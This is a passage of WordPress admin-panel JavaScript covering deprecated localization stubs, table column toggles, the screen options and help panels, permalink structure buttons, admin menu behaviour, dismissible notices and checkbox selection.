	foundAndRemoved: '',
	noneRemoved: '',
	someNotRemoved: '',
	removalError: '',
	emailSent: '',
	noExportFile: '',
	exportError: ''
};

window.privacyToolsL10n = deprecateL10nObject( 'privacyToolsL10n', window.privacyToolsL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 3.6.0
 * @deprecated 5.5.0
 */
window.authcheckL10n = {
	beforeunload: ''
};

window.authcheckL10n = window.authcheckL10n || deprecateL10nObject( 'authcheckL10n', window.authcheckL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.8.0
 * @deprecated 5.5.0
 */
window.tagsl10n = {
	noPerm: '',
	broken: ''
};

window.tagsl10n = window.tagsl10n || deprecateL10nObject( 'tagsl10n', window.tagsl10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.5.0
 * @deprecated 5.5.0
 */
window.adminCommentsL10n = window.adminCommentsL10n || {
	hotkeys_highlight_first: {
		alternative: 'window.adminCommentsSettings.hotkeys_highlight_first',
		func: function() { return window.adminCommentsSettings.hotkeys_highlight_first; }
	},
	hotkeys_highlight_last: {
		alternative: 'window.adminCommentsSettings.hotkeys_highlight_last',
		func: function() { return window.adminCommentsSettings.hotkeys_highlight_last; }
	},
	replyApprove: '',
	reply: '',
	warnQuickEdit: '',
	warnCommentChanges: '',
	docTitleComments: '',
	docTitleCommentsCount: ''
};

window.adminCommentsL10n = deprecateL10nObject( 'adminCommentsL10n', window.adminCommentsL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.5.0
 * @deprecated 5.5.0
 */
window.tagsSuggestL10n = window.tagsSuggestL10n || {
	tagDelimiter: '',
	removeTerm: '',
	termSelected: '',
	termAdded: '',
	termRemoved: ''
};

window.tagsSuggestL10n = deprecateL10nObject( 'tagsSuggestL10n', window.tagsSuggestL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 3.5.0
 * @deprecated 5.5.0
 */
window.wpColorPickerL10n = window.wpColorPickerL10n || {
	clear: '',
	clearAriaLabel: '',
	defaultString: '',
	defaultAriaLabel: '',
	pick: '',
	defaultLabel: ''
};

window.wpColorPickerL10n = deprecateL10nObject( 'wpColorPickerL10n', window.wpColorPickerL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.7.0
 * @deprecated 5.5.0
 */
window.attachMediaBoxL10n = window.attachMediaBoxL10n || {
	error: ''
};

window.attachMediaBoxL10n = deprecateL10nObject( 'attachMediaBoxL10n', window.attachMediaBoxL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.5.0
 * @deprecated 5.5.0
 */
window.postL10n = window.postL10n || {
	ok: '',
	cancel: '',
	publishOn: '',
	publishOnFuture: '',
	publishOnPast: '',
	dateFormat: '',
	showcomm: '',
	endcomm: '',
	publish: '',
	schedule: '',
	update: '',
	savePending: '',
	saveDraft: '',
	'private': '',
	'public': '',
	publicSticky: '',
	password: '',
	privatelyPublished: '',
	published: '',
	saveAlert: '',
	savingText: '',
	permalinkSaved: ''
};

window.postL10n = deprecateL10nObject( 'postL10n', window.postL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.7.0
 * @deprecated 5.5.0
 */
window.inlineEditL10n = window.inlineEditL10n || {
	error: '',
	ntdeltitle: '',
	notitle: '',
	comma: '',
	saved: ''
};

window.inlineEditL10n = deprecateL10nObject( 'inlineEditL10n', window.inlineEditL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.7.0
 * @deprecated 5.5.0
 */
window.plugininstallL10n = window.plugininstallL10n || {
	plugin_information: '',
	plugin_modal_label: '',
	ays: ''
};

window.plugininstallL10n = deprecateL10nObject( 'plugininstallL10n', window.plugininstallL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 3.0.0
 * @deprecated 5.5.0
 */
window.navMenuL10n = window.navMenuL10n || {
	noResultsFound: '',
	warnDeleteMenu: '',
	saveAlert: '',
	untitled: ''
};

window.navMenuL10n = deprecateL10nObject( 'navMenuL10n', window.navMenuL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.5.0
 * @deprecated 5.5.0
 */
window.commentL10n = window.commentL10n || {
	submittedOn: '',
	dateFormat: ''
};

window.commentL10n = deprecateL10nObject( 'commentL10n', window.commentL10n, '5.5.0' );

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 2.9.0
 * @deprecated 5.5.0
 */
window.setPostThumbnailL10n = window.setPostThumbnailL10n || {
	setThumbnail: '',
	saving: '',
	error: '',
	done: ''
};

window.setPostThumbnailL10n = deprecateL10nObject( 'setPostThumbnailL10n', window.setPostThumbnailL10n, '5.5.0' );

/**
 * Removed in 3.3.0, needed for back-compatibility.
 *
 * @since 2.7.0
 * @deprecated 3.3.0
 */
window.adminMenu = {
	init : function() {},
	fold : function() {},
	restoreMenuState : function() {},
	toggle : function() {},
	favorites : function() {}
};

// Show/hide/save table columns.
window.columns = {

	/**
	 * Initializes the column toggles in the screen options.
	 *
	 * Binds an onClick event to the checkboxes to show or hide the table columns
	 * based on their toggled state. And persists the toggled state.
	 *
	 * @since 2.7.0
	 *
	 * @return {void}
	 */
	init : function() {
		var that = this;
		$('.hide-column-tog', '#adv-settings').on( 'click', function() {
			var $t = $(this), column = $t.val();
			if ( $t.prop('checked') )
				that.checked(column);
			else
				that.unchecked(column);

			columns.saveManageColumnsState();
		});
	},

	/**
	 * Saves the toggled state for the columns.
	 *
	 * Saves whether the columns should be shown or hidden on a page.
	 *
	 * @since 3.0.0
	 *
	 * @return {void}
	 */
	saveManageColumnsState : function() {
		var hidden = this.hidden();
		$.post(ajaxurl, {
			action: 'hidden-columns',
			hidden: hidden,
			screenoptionnonce: $('#screenoptionnonce').val(),
			page: pagenow
		});
	},

	/**
	 * Makes a column visible and adjusts the column span for the table.
	 *
	 * @since 3.0.0
	 * @param {string} column The column name.
	 *
	 * @return {void}
	 */
	checked : function(column) {
		$('.column-' + column).removeClass( 'hidden' );
		this.colSpanChange(+1);
	},

	/**
	 * Hides a column and adjusts the column span for the table.
	 *
	 * @since 3.0.0
	 * @param {string} column The column name.
	 *
	 * @return {void}
	 */
	unchecked : function(column) {
		$('.column-' + column).addClass( 'hidden' );
		this.colSpanChange(-1);
	},

	/**
	 * Gets all hidden columns.
	 *
	 * @since 3.0.0
	 *
	 * @return {string} The hidden column names separated by a comma.
	 */
	hidden : function() {
		return $( '.manage-column[id]' ).filter( '.hidden' ).map(function() {
			return this.id;
		}).get().join( ',' );
	},

	/**
	 * Gets the checked column toggles from the screen options.
	 *
	 * @since 3.0.0
	 *
	 * @return {string} String containing the checked column names.
	 */
	useCheckboxesForHidden : function() {
		this.hidden = function(){
			return $('.hide-column-tog').not(':checked').map(function() {
				var id = this.id;
				return id.substring( id, id.length - 5 );
			}).get().join(',');
		};
	},

	/**
	 * Adjusts the column span for the table.
	 *
	 * @since 3.1.0
	 *
	 * @param {number} diff The modifier for the column span.
	 */
	colSpanChange : function(diff) {
		var $t = $('table').find('.colspanchange'), n;
		if ( !$t.length )
			return;
		n = parseInt( $t.attr('colspan'), 10 ) + diff;
		$t.attr('colspan', n.toString());
	}
};

$( function() { columns.init(); } );

/**
 * Validates that the required form fields are not empty.
 *
 * @since 2.9.0
 *
 * @param {jQuery} form The form to validate.
 *
 * @return {boolean} Returns true if all required fields are not an empty string.
 */
window.validateForm = function( form ) {
	return !$( form )
		.find( '.form-required' )
		.filter( function() { return $( ':input:visible', this ).val() === ''; } )
		.addClass( 'form-invalid' )
		.find( ':input:visible' )
		.on( 'change', function() { $( this ).closest( '.form-invalid' ).removeClass( 'form-invalid' ); } )
		.length;
};

// Stub for doing better warnings.
/**
 * Shows message pop-up notice or confirmation message.
 *
 * @since 2.7.0
 *
 * @type {{warn: showNotice.warn, note: showNotice.note}}
 *
 * @return {void}
 */
window.showNotice = {

	/**
	 * Shows a delete confirmation pop-up message.
	 *
	 * @since 2.7.0
	 *
	 * @return {boolean} Returns true if the message is confirmed.
	 */
	warn : function() {
		if ( confirm( __( 'You are about to permanently delete these items from your site.\nThis action cannot be undone.\n\'Cancel\' to stop, \'OK\' to delete.' ) ) ) {
			return true;
		}

		return false;
	},

	/**
	 * Shows an alert message.
	 *
	 * @since 2.7.0
	 *
	 * @param text The text to display in the message.
	 */
	note : function(text) {
		alert(text);
	}
};

/**
 * Represents the functions for the meta screen options panel.
 *
 * @since 3.2.0
 *
 * @type {{element: null, toggles: null, page: null, init: screenMeta.init,
 *         toggleEvent: screenMeta.toggleEvent, open: screenMeta.open,
 *         close: screenMeta.close}}
 *
 * @return {void}
 */
window.screenMeta = {
	element: null, // #screen-meta
	toggles: null, // .screen-meta-toggle
	page:    null, // #wpcontent

	/**
	 * Initializes the screen meta options panel.
	 *
	 * @since 3.2.0
	 *
	 * @return {void}
	 */
	init: function() {
		this.element = $('#screen-meta');
		this.toggles = $( '#screen-meta-links' ).find( '.show-settings' );
		this.page    = $('#wpcontent');

		this.toggles.on( 'click', this.toggleEvent );
	},

	/**
	 * Toggles the screen meta options panel.
	 *
	 * @since 3.2.0
	 *
	 * @return {void}
	 */
	toggleEvent: function() {
		var panel = $( '#' + $( this ).attr( 'aria-controls' ) );

		if ( !panel.length )
			return;

		if ( panel.is(':visible') )
			screenMeta.close( panel, $(this) );
		else
			screenMeta.open( panel, $(this) );
	},

	/**
	 * Opens the screen meta options panel.
	 *
	 * @since 3.2.0
	 *
	 * @param {jQuery} panel  The screen meta options panel div.
	 * @param {jQuery} button The toggle button.
	 *
	 * @return {void}
	 */
	open: function( panel, button ) {

		$( '#screen-meta-links' ).find( '.screen-meta-toggle' ).not( button.parent() ).css( 'visibility', 'hidden' );

		panel.parent().show();

		/**
		 * Sets the focus to the meta options panel and adds the necessary CSS classes.
		 *
		 * @since 3.2.0
		 *
		 * @return {void}
		 */
		panel.slideDown( 'fast', function() {
			panel.removeClass( 'hidden' ).trigger( 'focus' );
			button.addClass( 'screen-meta-active' ).attr( 'aria-expanded', true );
		});

		$document.trigger( 'screen:options:open' );
	},

	/**
	 * Closes the screen meta options panel.
	 *
	 * @since 3.2.0
	 *
	 * @param {jQuery} panel  The screen meta options panel div.
	 * @param {jQuery} button The toggle button.
	 *
	 * @return {void}
	 */
	close: function( panel, button ) {
		/**
		 * Hides the screen meta options panel.
		 *
		 * @since 3.2.0
		 *
		 * @return {void}
		 */
		panel.slideUp( 'fast', function() {
			button.removeClass( 'screen-meta-active' ).attr( 'aria-expanded', false );
			$('.screen-meta-toggle').css('visibility', '');
			panel.parent().hide();
			panel.addClass( 'hidden' );
		});

		$document.trigger( 'screen:options:close' );
	}
};

/**
 * Initializes the help tabs in the help panel.
 *
 * @param {Event} e The event object.
 *
 * @return {void}
 */
$('.contextual-help-tabs').on( 'click', 'a', function(e) {
	var link = $(this),
		panel;

	e.preventDefault();

	// Don't do anything if the click is for the tab already showing.
	if ( link.is('.active a') )
		return false;

	// Links.
	$('.contextual-help-tabs .active').removeClass('active');
	link.parent('li').addClass('active');

	panel = $( link.attr('href') );

	// Panels.
	$('.help-tab-content').not( panel ).removeClass('active').hide();
	panel.addClass('active').show();
});

/**
 * Update custom permalink structure via buttons.
 */
var permalinkStructureFocused = false,
    $permalinkStructure       = $( '#permalink_structure' ),
    $permalinkStructureInputs = $( '.permalink-structure input:radio' ),
    $permalinkCustomSelection = $( '#custom_selection' ),
    $availableStructureTags   = $( '.form-table.permalink-structure .available-structure-tags button' );

// Change permalink structure input when selecting one of the common structures.
$permalinkStructureInputs.on( 'change', function() {
	if ( 'custom' === this.value ) {
		return;
	}

	$permalinkStructure.val( this.value );

	// Update button states after selection.
	$availableStructureTags.each( function() {
		changeStructureTagButtonState( $( this ) );
	} );
} );

$permalinkStructure.on( 'click input', function() {
	$permalinkCustomSelection.prop( 'checked', true );
} );

// Check if the permalink structure input field has had focus at least once.
$permalinkStructure.on( 'focus', function( event ) {
	permalinkStructureFocused = true;
	$( this ).off( event );
} );

/**
 * Enables or disables a structure tag button depending on its usage.
 *
 * If the structure is already used in the custom permalink structure,
 * it will be disabled.
 *
 * @param {Object} button Button jQuery object.
 */
function changeStructureTagButtonState( button ) {
	if ( -1 !== $permalinkStructure.val().indexOf( button.text().trim() ) ) {
		button.attr( 'data-label', button.attr( 'aria-label' ) );
		button.attr( 'aria-label', button.attr( 'data-used' ) );
		button.attr( 'aria-pressed', true );
		button.addClass( 'active' );
	} else if ( button.attr( 'data-label' ) ) {
		button.attr( 'aria-label', button.attr( 'data-label' ) );
		button.attr( 'aria-pressed', false );
		button.removeClass( 'active' );
	}
}

// Check initial button state.
$availableStructureTags.each( function() {
	changeStructureTagButtonState( $( this ) );
} );

// Observe permalink structure field and disable buttons of tags that are already present.
$permalinkStructure.on( 'change', function() {
	$availableStructureTags.each( function() {
		changeStructureTagButtonState( $( this ) );
	} );
} );

$availableStructureTags.on( 'click', function() {
	var permalinkStructureValue = $permalinkStructure.val(),
	    selectionStart          = $permalinkStructure[ 0 ].selectionStart,
	    selectionEnd            = $permalinkStructure[ 0 ].selectionEnd,
	    textToAppend            = $( this ).text().trim(),
	    textToAnnounce,
	    newSelectionStart;

	if ( $( this ).hasClass( 'active' ) ) {
		textToAnnounce = $( this ).attr( 'data-removed' );
	} else {
		textToAnnounce = $( this ).attr( 'data-added' );
	}

	// Remove structure tag if already part of the structure.
	if ( -1 !== permalinkStructureValue.indexOf( textToAppend ) ) {
		permalinkStructureValue = permalinkStructureValue.replace( textToAppend + '/', '' );

		$permalinkStructure.val( '/' === permalinkStructureValue ? '' : permalinkStructureValue );

		// Announce change to screen readers.
		$( '#custom_selection_updated' ).text( textToAnnounce );

		// Disable button.
		changeStructureTagButtonState( $( this ) );

		return;
	}

	// Input field never had focus, move selection to end of input.
	if ( ! permalinkStructureFocused && 0 === selectionStart && 0 === selectionEnd ) {
		selectionStart = selectionEnd = permalinkStructureValue.length;
	}

	$permalinkCustomSelection.prop( 'checked', true );

	// Prepend and append slashes if necessary.
	if ( '/' !== permalinkStructureValue.substr( 0, selectionStart ).substr( -1 ) ) {
		textToAppend = '/' + textToAppend;
	}

	if ( '/' !== permalinkStructureValue.substr( selectionEnd, 1 ) ) {
		textToAppend = textToAppend + '/';
	}

	// Insert structure tag at the specified position.
	$permalinkStructure.val( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend + permalinkStructureValue.substr( selectionEnd ) );

	// Announce change to screen readers.
	$( '#custom_selection_updated' ).text( textToAnnounce );

	// Disable button.
	changeStructureTagButtonState( $( this ) );

	// If input had focus give it back with cursor right after appended text.
	if ( permalinkStructureFocused && $permalinkStructure[0].setSelectionRange ) {
		newSelectionStart = ( permalinkStructureValue.substr( 0, selectionStart ) + textToAppend ).length;
		$permalinkStructure[0].setSelectionRange( newSelectionStart, newSelectionStart );
		$permalinkStructure.trigger( 'focus' );
	}
} );

$( function() {
	var checks, first, last, checked, sliced, mobileEvent, transitionTimeout, focusedRowActions,
		lastClicked = false,
		pageInput = $('input.current-page'),
		currentPage = pageInput.val(),
		isIOS = /iPhone|iPad|iPod/.test( navigator.userAgent ),
		isAndroid = navigator.userAgent.indexOf( 'Android' ) !== -1,
		$adminMenuWrap = $( '#adminmenuwrap' ),
		$wpwrap = $( '#wpwrap' ),
		$adminmenu = $( '#adminmenu' ),
		$overlay = $( '#wp-responsive-overlay' ),
		$toolbar = $( '#wp-toolbar' ),
		$toolbarPopups = $toolbar.find( 'a[aria-haspopup="true"]' ),
		$sortables = $('.meta-box-sortables'),
		wpResponsiveActive = false,
		$adminbar = $( '#wpadminbar' ),
		lastScrollPosition = 0,
		pinnedMenuTop = false,
		pinnedMenuBottom = false,
		menuTop = 0,
		menuState,
		menuIsPinned = false,
		height = {
			window: $window.height(),
			wpwrap: $wpwrap.height(),
			adminbar: $adminbar.height(),
			menu: $adminMenuWrap.height()
		},
		$headerEnd = $( '.wp-header-end' );

	/**
	 * Makes the fly-out submenu header clickable, when the menu is folded.
	 *
	 * @param {Event} e The event object.
	 *
	 * @return {void}
	 */
	$adminmenu.on('click.wp-submenu-head', '.wp-submenu-head', function(e){
		$(e.target).parent().siblings('a').get(0).click();
	});

	/**
	 * Collapses the admin menu.
	 *
	 * @return {void}
	 */
	$( '#collapse-button' ).on( 'click.collapse-menu', function() {
		var viewportWidth = getViewportWidth() || 961;

		// Reset any compensation for submenus near the bottom of the screen.
		$('#adminmenu div.wp-submenu').css('margin-top', '');

		if ( viewportWidth <= 960 ) {
			if ( $body.hasClass('auto-fold') ) {
				$body.removeClass('auto-fold').removeClass('folded');
				setUserSetting('unfold', 1);
				setUserSetting('mfold', 'o');
				menuState = 'open';
			} else {
				$body.addClass('auto-fold');
				setUserSetting('unfold', 0);
				menuState = 'folded';
			}
		} else {
			if ( $body.hasClass('folded') ) {
				$body.removeClass('folded');
				setUserSetting('mfold', 'o');
				menuState = 'open';
			} else {
				$body.addClass('folded');
				setUserSetting('mfold', 'f');
				menuState = 'folded';
			}
		}

		$document.trigger( 'wp-collapse-menu', { state: menuState } );
	});

	/**
	 * Handles the `aria-haspopup` attribute on the current menu item when it has a submenu.
	 *
	 * @since 4.4.0
	 *
	 * @return {void}
	 */
	function currentMenuItemHasPopup() {
		var $current = $( 'a.wp-has-current-submenu' );

		if ( 'folded' === menuState ) {
			// When folded or auto-folded and not responsive view, the current menu item does have a fly-out sub-menu.
			$current.attr( 'aria-haspopup', 'true' );
		} else {
			// When expanded or in responsive view, reset aria-haspopup.
			$current.attr( 'aria-haspopup', 'false' );
		}
	}

	$document.on( 'wp-menu-state-set wp-collapse-menu wp-responsive-activate wp-responsive-deactivate', currentMenuItemHasPopup );

	/**
	 * Ensures an admin submenu is within the visual viewport.
	 *
	 * @since 4.1.0
	 *
	 * @param {jQuery} $menuItem The parent menu item containing the submenu.
	 *
	 * @return {void}
	 */
	function adjustSubmenu( $menuItem ) {
		var bottomOffset, pageHeight, adjustment, theFold, menutop, wintop, maxtop,
			$submenu = $menuItem.find( '.wp-submenu' );

		menutop = $menuItem.offset().top;
		wintop = $window.scrollTop();
		maxtop = menutop - wintop - 30; // max = make the top of the sub almost touch admin bar.

		bottomOffset = menutop + $submenu.height() + 1; // Bottom offset of the menu.
		pageHeight = $wpwrap.height();                  // Height of the entire page.
		adjustment = 60 + bottomOffset - pageHeight;
		theFold = $window.height() + wintop - 50;       // The fold.

		if ( theFold < ( bottomOffset - adjustment ) ) {
			adjustment = bottomOffset - theFold;
		}

		if ( adjustment > maxtop ) {
			adjustment = maxtop;
		}

		if ( adjustment > 1 && $('#wp-admin-bar-menu-toggle').is(':hidden') ) {
			$submenu.css( 'margin-top', '-' + adjustment + 'px' );
		} else {
			$submenu.css( 'margin-top', '' );
		}
	}

	if ( 'ontouchstart' in window || /IEMobile\/[1-9]/.test(navigator.userAgent) ) { // Touch screen device.
		// iOS Safari works with touchstart, the rest work with click.
		mobileEvent = isIOS ? 'touchstart' : 'click';

		/**
		 * Closes any open submenus when touch/click is not on the menu.
		 *
		 * @param {Event} e The event object.
		 *
		 * @return {void}
		 */
		$body.on( mobileEvent+'.wp-mobile-hover', function(e) {
			if ( $adminmenu.data('wp-responsive') ) {
				return;
			}

			if ( ! $( e.target ).closest( '#adminmenu' ).length ) {
				$adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
			}
		});

		/**
		 * Handles the opening or closing the submenu based on the mobile click|touch event.
		 *
		 * @param {Event} event The event object.
		 *
		 * @return {void}
		 */
		$adminmenu.find( 'a.wp-has-submenu' ).on( mobileEvent + '.wp-mobile-hover', function( event ) {
			var $menuItem = $(this).parent();

			if ( $adminmenu.data( 'wp-responsive' ) ) {
				return;
			}

			/*
			 * Show the sub instead of following the link if:
			 * 	- the submenu is not open.
			 * 	- the submenu is not shown inline or the menu is not folded.
			 */
			if ( ! $menuItem.hasClass( 'opensub' ) && ( ! $menuItem.hasClass( 'wp-menu-open' ) || $menuItem.width() < 40 ) ) {
				event.preventDefault();
				adjustSubmenu( $menuItem );
				$adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
				$menuItem.addClass('opensub');
			}
		});
	}

	if ( ! isIOS && ! isAndroid ) {
		$adminmenu.find( 'li.wp-has-submenu' ).hoverIntent({

			/**
			 * Opens the submenu when hovered over the menu item for desktops.
			 *
			 * @return {void}
			 */
			over: function() {
				var $menuItem = $( this ),
					$submenu = $menuItem.find( '.wp-submenu' ),
					top = parseInt( $submenu.css( 'top' ), 10 );

				if ( isNaN( top ) || top > -5 ) { // The submenu is visible.
					return;
				}

				if ( $adminmenu.data( 'wp-responsive' ) ) {
					// The menu is in responsive mode, bail.
					return;
				}

				adjustSubmenu( $menuItem );
				$adminmenu.find( 'li.opensub' ).removeClass( 'opensub' );
				$menuItem.addClass( 'opensub' );
			},

			/**
			 * Closes the submenu when no longer hovering the menu item.
			 *
			 * @return {void}
			 */
			out: function(){
				if ( $adminmenu.data( 'wp-responsive' ) ) {
					// The menu is in responsive mode, bail.
					return;
				}

				$( this ).removeClass( 'opensub' ).find( '.wp-submenu' ).css( 'margin-top', '' );
			},
			timeout: 200,
			sensitivity: 7,
			interval: 90
		});

		/**
		 * Opens the submenu on when focused on the menu item.
		 *
		 * @param {Event} event The event object.
		 *
		 * @return {void}
		 */
		$adminmenu.on( 'focus.adminmenu', '.wp-submenu a', function( event ) {
			if ( $adminmenu.data( 'wp-responsive' ) ) {
				// The menu is in responsive mode, bail.
				return;
			}

			$( event.target ).closest( 'li.menu-top' ).addClass( 'opensub' );

			/**
			 * Closes the submenu on blur from the menu item.
			 *
			 * @param {Event} event The event object.
			 *
			 * @return {void}
			 */
		}).on( 'blur.adminmenu', '.wp-submenu a', function( event ) {
			if ( $adminmenu.data( 'wp-responsive' ) ) {
				return;
			}

			$( event.target ).closest( 'li.menu-top' ).removeClass( 'opensub' );

			/**
			 * Adjusts the size for the submenu.
			 *
			 * @return {void}
			 */
		}).find( 'li.wp-has-submenu.wp-not-current-submenu' ).on( 'focusin.adminmenu', function() {
			adjustSubmenu( $( this ) );
		});
	}

	/*
	 * The `.below-h2` class is here just for backward compatibility with plugins
	 * that are (incorrectly) using it. Do not use. Use `.inline` instead. See #34570.
	 * If '.wp-header-end' is found, append the notices after it otherwise
	 * after the first h1 or h2 heading found within the main content.
	 */
	if ( ! $headerEnd.length ) {
		$headerEnd = $( '.wrap h1, .wrap h2' ).first();
	}
	$( 'div.updated, div.error, div.notice' ).not( '.inline, .below-h2' ).insertAfter( $headerEnd );

	/**
	 * Makes notices dismissible.
	 *
	 * @since 4.4.0
	 *
	 * @return {void}
	 */
	function makeNoticesDismissible() {
		$( '.notice.is-dismissible' ).each( function() {
			var $el = $( this ),
				$button = $( '<button type="button" class="notice-dismiss"><span class="screen-reader-text"></span></button>' );

			if ( $el.find( '.notice-dismiss' ).length ) {
				return;
			}

			// Ensure plain text.
			$button.find( '.screen-reader-text' ).text( __( 'Dismiss this notice.' ) );
			$button.on( 'click.wp-dismiss-notice', function( event ) {
				event.preventDefault();
				$el.fadeTo( 100, 0, function() {
					$el.slideUp( 100, function() {
						$el.remove();
					});
				});
			});

			$el.append( $button );
		});
	}

	$document.on( 'wp-updates-notice-added wp-plugin-install-error wp-plugin-update-error wp-plugin-delete-error wp-theme-install-error wp-theme-delete-error', makeNoticesDismissible );

	// Init screen meta.
	screenMeta.init();

	/**
	 * Checks a checkbox.
	 *
	 * This event needs to be delegated. Ticket #37973.
	 *
	 * @return {boolean} Returns whether a checkbox is checked or not.
	 */
	$body.on( 'click', 'tbody > tr > .check-column :checkbox', function( event ) {
		// Shift click to select a range of checkboxes.
		if ( 'undefined' == event.shiftKey ) { return true; }
		if ( event.shiftKey ) {
			if ( !lastClicked ) { return true; }
			checks = $( lastClicked ).closest( 'form' ).find( ':checkbox' ).filter( ':visible:enabled' );
			first = checks.index( lastClicked );
			last = checks.index( this );
			checked = $(this).prop('checked');
			if ( 0 < first && 0 < last && first != last ) {
				sliced = ( last > first ) ? checks.slice( first, last ) : checks.slice( last, first );
				sliced.prop( 'checked', function() {
					if ( $(this).closest('tr').is(':visible') )
						return checked;

					return false;
				});
			}
		}
		lastClicked = this;

		// Toggle the "Select all" checkboxes depending if the other ones are all checked or not.
		var unchecked = $(this).closest('tbody').find(':checkbox').filter(':visible:enabled').not(':checked');

		/**
		 * Determines if all checkboxes are checked.
		 *
		 * @return {boolean} Returns true if there are no unchecked checkboxes.
		 */
		$(this).closest('table').children('thead, tfoot').find(':checkbox').prop('checked', function() {
			return ( 0 === unchecked.length );
		});

		return true;
	});

	/**
	 * Controls all the toggles on bulk toggle change.
	 *
	 * When the bulk checkbox is changed, all the checkboxes in the tables are changed accordingly.
	 * When the shift-button is pressed while changing the bulk checkbox the checkboxes in the table are inverted.
	 *
	 * This event needs to be delegated. Ticket #37973.
	 *
	 * @param {Event} event The event object.
	 *
	 * @return {boolean}
	 */
	$body.on( 'click.wp-toggle-checkboxes', 'thead .check-column :checkbox, tfoot .check-column :checkbox', function( event ) {
		var $this = $(this),
			$table = $this.closest( 'table' ),
			controlChecked = $this.prop('checked'),
			toggle = event.shiftKey || $this.data('wp-toggle');

		$table.children( 'tbody' ).filter(':visible')
			.children().children('.check-column').find(':checkbox')
			/**
			 * Updates the checked state on the checkbox in the table.
			 *
			 * @return {boolean} True checks the checkbox, False unchecks the checkbox.
			 */
			.prop('checked', function() {
				if ( $(this).is(':hidden,:disabled') ) {
					return false;
				}

				if ( toggle ) {
					return ! $(this).prop( 'checked' );
				} else if ( controlChecked ) {
					return true;
				}

				return false;
			});

		$table.children('thead,  tfoot').filter(':visible')
			.children().children('.check-column').find(':checkbox')

			/**
			 * Syncs the bulk checkboxes on the top and bottom of the table.
			 *
			 * @return {boolean} True checks the checkbox, False unchecks the checkbox.
			 */
			.prop('checked', function() {
				if ( toggle ) {
					return false;
				} else if ( controlChecked ) {
					return true;
				}

				return false;
			});
	});

	/**
	 * Marries a secondary control to its primary control.
	 *
	 * @param {jQuery} topSelector    The top selector element.
	 * @param {jQuery} topSubmit      The top submit element.
	 * @param {jQuery} bottomSelector The bottom selector element.
	 * @param {jQuery} bottomSubmit   The bottom submit element.
	 * @return {void}
	 */
	function marryControls( topSelector, topSubmit, bottomSelector, bottomSubmit ) {
		/**
		 * Updates the primary selector when the secondary selector is changed.
		 *
		 * @since 5.7.0
		 *
		 * @return {void}
		 */
		function updateTopSelector() {
			topSelector.val($(this).val());
		}
		bottomSelector.on('change', updateTopSelector);

		/**
		 * Updates the secondary selector when the primary selector is changed.
		 *
		 * @since 5.7.0
		 *
		 * @return {void}
		 */
		function updateBottomSelector() {
			bottomSelector.val($(this).val());
		}
		topSelector.on('change', updateBottomSelector);

		/**
		 * Triggers the primary submit when then secondary submit is clicked.
		 *
		 * @since 5.7.0
		 *
		 * @return {void}
		 */
		function triggerSubmitClick(e) {
			e.preventDefault();
			e.stopPropagation();

			topSubmit.trigger('click');
		}
		bottomSubmit.on('click', triggerSubmitClick);
	}

	// Marry the secondary "Bulk actions" controls to the primary controls:
	marryControls( $('#bulk-action-selector-top'), $('#doaction'), $('#bulk-action-selector-bottom'), $('#doaction2') );

	// Marry the secondary "Change role to" controls to the primary controls:
	marryControls( $('#new_role'), $('#changeit'), $('#new_role2'), $('#changeit2') );

	/**
	 * Shows row actions on focus of its parent container element or any other elements contained within.
	 *
	 * @return {void}
	 */
	$( '#wpbody-content' ).on({
		focusin: function() {
			clearTimeout( transitionTimeout );
			focusedRowActions = $( this ).find( '.row-actions' );
			// transitionTimeout is necessary for Firefox, but Chrome won't remove the CSS class without a little help.
			$( '.row-actions' ).not( this ).removeClass( 'visible' );
			focusedRowActions.addClass( 'visible' );
		},
		focusout: function() {
			// Tabbing between post title and .row-actions links needs a brief pause, otherwise
			// the .row-actions div gets hidden in transit in some browsers (ahem, Firefox).
			transitionTimeout = setTimeout( function() {
				focusedRowActions.removeClass( 'visible' );
			}, 30 );
		}
	}, '.table-view-list .has-row-actions' );

	// Toggle list table rows on small screens.
	$( 'tbody' ).on( 'click', '.toggle-row', function() {
		$( this ).closest( 'tr' ).toggleClass( 'is-expanded' );
	});

	$('#default-password-nag-no').on( 'click', function() {
		setUserSetting('default_password_nag', 'hide');
		$('div.default-password-nag').hide();
		return false;
	});

	/**
	 * Handles tab keypresses in theme and plugin file editor textareas.
	 *
	 * @param {Event} e The event object.
	 *
	 * @return {void}
	 */
	$('#newcontent').on('keydown.wpevent_InsertTab', function(e) {
		var el = e.target, selStart, selEnd, val, scroll, sel;

		// After pressing escape key (keyCode: 27), the tab key should tab out of the textarea.
		if ( e.keyCode == 27 ) {
			// When pressing Escape: Opera 12 and 27 blur form fields, IE 8 clears them.
			e.preventDefault();
			$(el).data('tab-out', true);
			return;
		}

		// Only listen for plain tab key (keyCode: 9) without any modifiers.
		if ( e.keyCode != 9 || e.ctrlKey || e.altKey || e.shiftKey )
			return;

		// After tabbing out, reset it so next time the tab key can be used again.
		if ( $(el).data('tab-out') ) {
			$(el).data('tab-out', false);
			return;
		}

		selStart = el.selectionStart;
		selEnd = el.selectionEnd;
		val = el.value;

		// If any text is selected, replace the selection with a tab character.
		if ( document.selection ) {
			el.focus();
			sel = document.selection.createRange();
			sel.text = '\t';
		} else if ( selStart >= 0 ) {
			scroll = this.scrollTop;
			el.value = val.substring(0, selStart).concat('\t', val.substring(selEnd) );
			el.selectionStart = el.selectionEnd = selStart + 1;
			this.scrollTop = scroll;
		}

